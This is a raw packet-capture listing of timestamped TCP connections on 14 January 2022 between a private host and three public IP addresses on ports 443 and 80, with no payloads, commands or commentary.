Jan 14, 2022 09:25:57.565918922 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565967083 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.565989017 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.566039085 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.566076994 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.566128969 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.566139936 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.566293955 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.573544979 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.573591948 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.573702097 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.573721886 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.573736906 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.574878931 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.575366020 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.575402975 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.575479984 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.575496912 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.575515032 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.575609922 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578280926 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578319073 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578411102 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578427076 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578504086 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578505039 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578561068 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578569889 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578576088 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578587055 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578646898 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578743935 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578780890 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578834057 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578857899 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.578871965 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.578965902 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579001904 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579049110 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.579065084 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579080105 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.579123020 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.579202890 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579241037 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579292059 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.579305887 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579329014 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.579447985 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579485893 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579535007 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.579554081 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.579567909 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.579607964 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.581995964 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.582035065 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.582159996 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.582185030 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.582201004 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.582602978 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.584347010 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584387064 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584464073 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.584479094 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584501982 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.584537983 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.584587097 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584625959 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584760904 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.584775925 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584790945 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.584845066 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584881067 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584930897 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.584943056 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.584956884 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585000038 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585102081 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585156918 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585211039 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585230112 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585242987 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585295916 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585330963 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585367918 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585421085 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585436106 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585453033 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585562944 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585598946 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585649967 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585661888 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585675955 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585843086 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.585896015 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585937023 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.585993052 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.586010933 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.586024046 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.586105108 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.586139917 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.586196899 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.586209059 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.586225033 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.586268902 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643491983 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643518925 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643543005 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643553972 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643646955 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643660069 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643704891 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643717051 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643738985 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643789053 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643801928 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643827915 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643848896 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643861055 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643924952 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643942118 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643965006 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.643976927 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.643987894 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644056082 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644068956 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644118071 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644134045 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644171953 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644180059 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644191027 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644269943 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644285917 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644336939 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644350052 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644377947 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644414902 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644426107 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644486904 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644532919 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644623995 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644669056 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644716978 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644731045 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644752979 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644783020 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644818068 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644866943 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644886971 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644898891 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.644937992 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.644973040 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645016909 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645034075 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645051003 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645087004 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645122051 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645164967 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645180941 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645196915 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645240068 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645273924 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645313025 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645328045 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645340919 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645394087 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645428896 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645473957 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645488977 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645504951 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645543098 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645577908 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645618916 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645636082 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645652056 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645693064 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645725965 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645767927 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645792961 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645806074 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645843983 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645910978 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.645945072 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.645962000 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646028996 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646049023 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646075964 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646116972 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646131992 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646148920 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646194935 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646229029 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646301031 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646315098 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646338940 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646388054 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646392107 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646419048 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646428108 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646450996 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646482944 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646517992 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.646533012 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646557093 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.646612883 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.648462057 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.972701073 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:58.203028917 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:58.203074932 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:58.203090906 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:58.203103065 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:58.396368980 CET	49883	80	192.168.2.4	185.163.45.70
Jan 14, 2022 09:25:59.476962090 CET	49889	80	192.168.2.4	185.163.45.70
Jan 14, 2022 09:25:59.966546059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:25:59.966566086 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.067641973 CET	80	49890	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.070267916 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.071237087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.074089050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.087671041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.087673903 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.152515888 CET	80	49890	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.156018972 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.163865089 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.164602041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.164637089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.164979935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165000916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165082932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165101051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165328026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165352106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165479898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165487051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165760040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165770054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165925980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.165983915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166135073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166143894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166376114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166392088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166527987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166548014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166716099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166731119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166948080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.166971922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.167107105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.167124033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.167301893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.167319059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.178127050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.178219080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.178435087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.178657055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.178755045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.178873062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.178985119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179059982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179279089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179296970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179390907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179522038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179744959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179847002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.179974079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.180107117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.180211067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.180309057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.180468082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.180572987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.180733919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.180891037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181001902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181119919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181231976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181302071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181499958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181766987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181852102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.181989908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.182107925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.182200909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.182323933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.182615042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.182701111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.182804108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183043003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183173895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183296919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183417082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183535099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183721066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183829069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.183939934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.184115887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.184228897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.184366941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.184495926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.184705973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.184947968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.185116053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.185281038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.185383081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.185506105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.185565948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.185817957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.185911894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.186045885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.186225891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.186243057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.186358929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.186671972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.195385933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.195801020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.195894003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196055889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196197033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196240902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196428061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196526051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196587086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196712017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.196980953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197079897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197312117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197329998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197555065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197575092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197706938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197881937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.197982073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198086023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198215961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198406935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198556900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198580980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198748112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198765039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.198889017 CET	49891	80	192.168.2.4	185.215.113.35
